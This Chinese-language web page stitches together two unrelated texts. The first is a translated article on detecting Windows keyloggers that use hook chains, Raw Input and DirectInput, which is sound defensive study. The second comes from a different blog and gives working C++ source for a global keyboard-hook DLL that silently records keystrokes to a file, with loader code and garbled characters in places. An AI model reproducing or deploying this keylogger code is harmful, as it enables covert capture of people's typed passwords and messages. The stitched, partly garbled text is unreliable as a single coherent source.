譯者:myswsun
預估稿費:100RMB
投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿
0x00 前言
回顧第一部分,我們總結了4種Windows用戶模式的鍵盤記錄的方法,今天我們將分析每種技術的檢測方式。
測試機器:
0x01 SetWindowsHookEx
當我們使用SetWindowsHookEx注冊消息鉤子時,系統將我們的鉤子處理函數保存在鉤子鏈(是一個指針列表)中。因為我們能注冊任何消息類型的鉤子,因此,每種消息類型都有一個鉤子鏈。因此我們的目標是:
系統內存中鉤子鏈的位置(WH_KEYBOARD和WH_KEYBOARD_LL)
如何找到鉤子的進程名
對于鉤子鏈的位置,可以參考如下:
1 | nt!_ETHREAD + 0x0=> nt!_KTHREAD + 0x088=> nt!_TEB + 0x40=> win32k!tagTHREADINFO + 0xCC=> win32k!tagDESKTOPINFO + 0x10=> win32k!tagHOOK |
每個結構都很清楚(感謝Windows符號)。Offset值是我的測試機器的,不同的Windows版本和構建版本會不同(ntoskrnl和win32k.sys)。
從nt!_ETHREAD看,它一定是一個GUI線程。我們能從explorer.exe中得到GUI線程,或者自己創建。
在上面,我們能得到系統所有的全局鉤子鏈的位置。這個有16個tagHOOK的數組指針,數組索引是WH_*消息類型的值(實際上是index=WH_*+1)。如果條目是空,我們能找到一個全局鉤子鏈。
從tagHook中的_THRDESKHEAD看,我們能得到設置鉤子的進程的tagTHREADINFO。因此我們能得到進程ID和進程名:
1 | processIdOfHooker=PsGetProcessId(IoThreadToProcess((PETHREAD)(*pCurHook->head.pti))); |
掃描結果:
好了,查找Windows全局消息鉤子可以了。那么本地鉤子怎么辦?
下面是本地鉤子:
1 | nt!_ETHREAD + 0x0=> nt!_KTHREAD + 0x088=> nt!_TEB + 0x40=> win32k!tagTHREADINFO + 0x198=> win32k!tagHOOK |
和全局鉤子很相似,但是你能看見本地鉤子鏈的位置是在進程的tagTHREADINFO結構體中的,它是進程相關的。tagDESKTOPINFO中的鉤子鏈是相同桌面下所有進程的。
0x02 輪詢
我確實不知道怎么掃描這種方式。為什么?因為它直接從內部結構讀取鍵的狀態,似乎沒有方式來檢測。
針對GetAsyncKeyState(), GetKeyboardState() API hook?可以,我們可以通過API來檢測,但是我不想用它,因為針對系統所有進程全局APIhook不是個好方法。使用API HOOK,我們能檢查頻率和鍵盤記錄鍵的范圍。
0x03 Raw Input
我從分析user32.dll中的RegisterRawInputDevices函數開始。這個API將調用win32k.sys中的NtUserRegisterRawInputDevices。
在一些檢查之后,進入_RegisterRawInputDevices
這里非常清楚。PsGetCurrentProcessWin32Process返回win32k!tagPROCESSINFO結構體。使用WinDbg查看偏移0x1A4:
有個指針指向win32k!tagPROCESS_HID_TABLE。
20-34行,驗證注冊的數據(HID請求)。
36-47行,如果不存在分配HID表。意味著,如果tagPROCESSINFO->pHidTable為空,進程中沒有注冊設備。
48-71行,設置HID請求到HID表中。
剩下的就是更新標志和重啟HID設備。
讓我們看下SetProcDeviceRequest函數:
系統分配一個HID請求,將它插入到HID表中
這里有2個HID請求的列表,分別是InclusionList, UsagePageList and ExclusionList。插入哪個列表取決于調用RegisterRawInputDevices的tagRAWINPUTDEVICE的dwFlags值。
對于鍵盤記錄,我使用RIDEV_NOLEGACY | RIDEV_INPUTSINK標志,因此是InclusionList。最后一個結構體是win32k!tagPROCESS_HID_REQUEST
能看到usUsagePage, usUsage and spwndTarget是tagRAWINPUTDEVICE的參數。
對于原始輸入的檢測:
1. 枚舉系統所有的進程
2. 針對每個進程,遍歷pID -> PEPROCESS -> tagPROCESSINFO -> tagPROCESS_HID_TABLE -> tagPROCESS_HID_REQUEST
3. 如果我們找到usUsagePage=1的條目(通常是桌面控制)和usUsage=6(鍵盤),這個進程就是用來鍵盤記錄的。
掃描結果:
0x04 Direct Input
當檢測direct input時,我發現了注冊鉤子進程中的一些有趣的特征。
針對MSIAfterburner.exe,我發現了一些與direct input(Mutant, Section, Key)相關的句柄。從運行的線程中,我們也能發現DINPUT8.dll(微軟DirectInput庫)。
對于direct input的檢測:
1. 枚舉系統所有進程
2. 對于每個進程,枚舉所有的mutant、section、key,以匹配句柄特征
3. 如果所有的特征都匹配了,我們得到進程的所有的線程的起始地址。如果起始地址在DINPUT8.DLL的地址空間中,則找到了鍵盤記錄。
掃描結果:
0x05 總結
總結掃描方式如下:
全局消息鉤子代碼 | 火苗999℃的博客
代碼
#ifndef __UdiskHook_h__
#define __UdiskHook_h__
#ifdef __cplusplus
extern "C" {
#endif
#define DLL_EXPORT //
#ifdef DLL_EXPORT
#define DLLAPI __declspec(dllexport)
#else
#define DLLAPI __declspec(dllimport)
#endif
LRESULT DLLAPI CALLBACK HookProcAll(int nCode, WPARAM wParam, LPARAM lParam);
LRESULT DLLAPI CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL DLLAPI SetHookProc();
BOOL DLLAPI UnHookProc();
#ifdef __cplusplus
}
#endif
#endif // __UdiskHook_h__
#include "UdiskHook.h"
#include
#include
HHOOK hHook;
int g_time=0;
HMODULE GetSelfModuleHandle()
{
MEMORY_BASIC_INFORMATION mbi;
return ((::VirtualQuery(GetSelfModuleHandle, &mbi, sizeof(mbi)) !=0)
? (HMODULE)mbi.AllocationBase : NULL);
}
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (0==g_time)
{
g_time=1;
hHook=SetWindowsHookEx(WH_KEYBOARD, HookProcAll, GetSelfModuleHandle(), 0);
}
if (wParam==' ' && 0 !=g_time)// 空格卸載
{
g_time=0;
UnhookWindowsHookEx(hHook);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
//傳遞鉤子信息
}
LRESULT CALLBACK HookProcAll(int nCode, WPARAM wParam, LPARAM lParam)
{
// 記錄按鍵
if ('a' <=wParam && 'z' >=wParam || 'A' <=wParam && 'Z' >=wParam || '0' <=wParam && '9' >=wParam)
{
std::ofstream outFile;
outFile.open("e:\\ttt.txt", std::ios::app);
char ch=wParam;
outFile << ch;
outFile.close();
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int Time1=0;
HHOOK hHook1=NULL;
BOOL SetHookProc()
{
if (0==g_time)
{
Time1=1;
hHook1=SetWindowsHookEx(WH_KEYBOARD, HookProcAll, GetSelfModuleHandle(), 0);
return TRUE;
}
return FALSE;
}
BOOL UnHookProc()
{
if (1==Time1)
{
UnhookWindowsHookEx(hHook1);
return TRUE;
}
return FALSE;
}
程序中加載鉤子的代碼
typedef HHOOK (_stdcall* Hook)(int ,WPARAM ,LPARAM ); HINSTANCE hDll=LoadLibrary("UdiskHook.dll");//加載動態鏈接庫文件; if (hDll !=NULL) { Hook HookProc=(Hook)GetProcAddress(hDll ,"_HookProc@12"); if (HookProc !=NULL) { hHook=SetWindowsHookEx(WH_KEYBOARD , (HOOKPROC)HookProc ? ??? ??? ??? ??? ??? ??? ????? , hDll ? ??? ??? ??? ??? ??? ??? ?? ??, GetCurrentThreadId() // 為0時是全局鉤子? ??? ??? ??? ??? ??? ??? ??? ?? ?); } FreeLibrary(hDll);//卸載dll文件; }
HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
idHook:指示欲被安裝的掛鉤處理過程之類型,此參數可以是以下值之一:
WH_CALLWNDPROC(4): 安裝一個掛鉤處理過程,在系統將消息發送至目標窗口處理過程之前,對該消息進行監視,詳情參見CallWndProc掛鉤處理過程.
WH_CALLWNDPROCRET(12) :安裝一個掛鉤處理過程,它對已被目標窗口處理過程處理過了的消息進行監視,詳情參見 CallWndRetProc 掛鉤處理過程.
WH_CBT(5) :安裝一個掛鉤處理過程,接受對CBT應用程序有用的消息 ,詳情參見 CBTProc 掛鉤處理過程.
WH_DEBUG(9):安裝一個掛鉤處理過程以便對其他掛鉤處理過程進行調試, 詳情參見DebugProc掛鉤處理過程.
WH_FOREGROUNDIDLE(11):安裝一個掛鉤處理過程,該掛鉤處理過程當應用程序的前臺線程即將進入空閑狀態時被調用,它有助于在空閑時間內執行低優先級的任務.
WH_GETMESSAGE(3):安裝一個掛鉤處理過程對寄送至消息隊列的消息進行監視,詳情參見 GetMsgProc 掛鉤處理過程.
WH_JOURNALPLAYBACK(1):安裝一個掛鉤處理過程,對此前由WH_JOURNALRECORD 掛鉤處理過程紀錄的消息進行寄送.詳情參見 JournalPlaybackProc掛鉤處理過程.
WH_JOURNALRECORD(0):安裝一個掛鉤處理過程,對寄送至系統消息隊列的輸入消息進行紀錄.詳情參見JournalRecordProc掛鉤處理過程.
WH_KEYBOARD(2):安裝一個掛鉤處理過程對擊鍵消息進行監視. 詳情參見KeyboardProc掛鉤處理過程.
WH_KEYBOARD_LL(13):此掛鉤只能在Windows NT中被安裝,用來對底層的鍵盤輸入事件進行監視.詳情參見LowLevelKeyboardProc掛鉤處理過程.
WH_MOUSE(7):安裝一個掛鉤處理過程,對鼠標消息進行監視. 詳情參見 MouseProc掛鉤處理過程.
WH_MOUSE_LL(14):此掛鉤只能在Windows NT中被安裝,用來對底層的鼠標輸入事件進行監視.詳情參見LowLevelMouseProc掛鉤處理過程.
WH_MSGFILTER(-1):安裝一個掛鉤處理過程, 以監視由對話框、消息框、菜單條、或滾動條中的輸入事件引發的消息.詳情參見MessageProc掛鉤處理過程.
WH_SHELL(10):安裝一個掛鉤處理過程以接受對外殼應用程序有用的通知, 詳情參見 ShellProc掛鉤處理過程.
WH_SYSMSGFILTER(6):安裝一個掛鉤處理過程,以監視由對話框、消息框、菜單條、或滾動條中的輸入事件引發的消息.這個掛鉤處理過程對系統中所有應用程序的這類消息都進行監視.詳情參見 SysMsgProc掛鉤處理過程.
lpfn:指向相應的掛鉤處理過程.若參數dwThreadId為0或者指示了一個其他進程創建的線程之標識符,則參數lpfn必須指向一個動態鏈接中的掛鉤處理過程.否則,參數lpfn可以指向一個與當前進程相關的代碼中定義的掛鉤處理過程.
hMod:指示了一個動態鏈接的句柄,該動態連接庫包含了參數lpfn 所指向的掛鉤處理過程.若參數dwThreadId指示的線程由當前進程創建,并且相應的掛鉤處理過程定義于當前進程相關的代碼中,則參數hMod必須被設置為NULL(0).
dwThreadId:指示了一個線程標識符,掛鉤處理過程與線程相關.若此參數值為0,則該掛鉤處理過程與所有現存的線程相關.
返回值:若此函數執行成功,則返回值就是該掛鉤處理過程的句柄;若此函數執行失敗,則返回值為NULL(0).若想獲得更多錯誤信息,請調用GetLasError函數.
備注:若參數hMod為NULL,而參數dwThreadld為0或者指示了一個其他進程創建的線程標識符,則會產生錯誤.
對函數CallNextHookEx進行調用以下鏈接下一個掛鉤處理過程是可選的,但也是被推薦的否則,其他安裝了此掛鉤的應用程序將無法獲得此掛鉤通知,從而可能導致錯誤的行為.除非您確實希望防止其他應用程序看到此掛鉤通知,您應當調用函數CallNextHookEx.
在終止一個應用程序之前,必須調用函數UnhookWindowsHookEx以釋放與此掛鉤相關的系統資源.
掛鉤的作用域依賴與掛鉤的類型.一些掛鉤只能被設置成系統作用域,其他掛鉤(如下所示)還可以被設置為某一特定線程的作用域:
WH_CALLWNDPROC 線程或系統
WH_CALLWNDPROCRET 線程或系統
WH_CBT 線程或系統
WH_DEBUG 線程或系統
WH_FOREGROUNDIDLE 線程或系統
WH_GETMESSAGE 線程或系統
WH_JOURNALPLAYBACK 系統
WH_JOURNALRECORD 系統
WH_KEYBOARD 線程或系統
WH_KEYBOARD_LL 線程或系統
WH_MOUSE 線程或系統
WH_MOUSE_LL 線程或系統
WH_MSGFILTER 線程或系統
WH_SHELL 線程或系統
WH_SYSMSGFILTER 系統
對于一個特定的掛鉤類型,現成的掛鉤先被調用,然后才是系統掛鉤被調用.
系統掛鉤作為共享資源,安裝一次就對所用應用程序產生影響.所有的系統掛鉤函數必須在庫中.系統掛鉤應當被限制用于一些特殊用途的應用程序或者用來作為應用程序調試的輔助工具.不再需要掛鉤的庫應當將相應的掛鉤處理過程刪除掉.